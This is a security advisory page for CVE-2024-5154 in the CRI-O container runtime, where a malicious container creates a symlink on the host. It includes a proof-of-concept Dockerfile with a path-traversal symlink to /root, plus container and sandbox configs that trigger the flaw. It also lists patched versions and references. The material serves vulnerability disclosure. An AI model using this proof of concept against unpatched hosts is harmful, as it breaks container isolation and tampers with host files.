Ecosyste.ms: Advisories

Security Advisories: GSA_kwCzR0hTQS1qOWhmLTk4YzMtd3JtOM4AA8sx

malicious container creates symlink "mtab" on the host External

Impact

A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host.

A workload built from this Dockerfile:

FROM docker.io/library/busybox as source
RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc

FROM scratch

COPY --from=source /bin /bin
COPY --from=source /lib /lib
COPY --from=source /extra .

and this container config:

{
  "metadata": {
      "name": "busybox"
  },
  "image":{
      "image": "localhost/test"
  },
  "command": [
      "/bin/true"
  ],
  "linux": {
  }
}

and this sandbox config

{
  "metadata": {
    "name": "test-sandbox",
    "namespace": "default",
    "attempt": 1,
    "uid": "edishd83djaideaduwk28bcsb"
  },
  "linux": {
    "security_context": {
      "namespace_options": {
        "network": 2
      }
    }
  }
}

will create a file on host /host/mtab

Patches

1.30.1, 1.29.5, 1.28.7

Workarounds

Unfortunately not

References

Are there any links users can visit to find out more?

Permalink: https://github.com/advisories/GHSA-j9hf-98c3-wrm8
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qOWhmLTk4YzMtd3JtOM4AA8sx
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: 6 months ago
Updated: 3 months ago

CVSS Score: 8.1
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N

Identifiers: GHSA-j9hf-98c3-wrm8, CVE-2024-5154
References:

• https://github.com/cri-o/cri-o/security/advisories/GHSA-j9hf-98c3-wrm8
• https://nvd.nist.gov/vuln/detail/CVE-2024-5154
• https://access.redhat.com/errata/RHSA-2024:3676
• https://access.redhat.com/security/cve/CVE-2024-5154
• https://bugzilla.redhat.com/show_bug.cgi?id=2280190
• https://pkg.go.dev/vuln/GO-2024-2919
• https://access.redhat.com/errata/RHSA-2024:3700
• https://access.redhat.com/errata/RHSA-2024:4008
• https://access.redhat.com/errata/RHSA-2024:4486
• https://github.com/advisories/GHSA-j9hf-98c3-wrm8

Repository: https://github.com/cri-o/cri-o
Blast Radius: 14.5

Affected Packages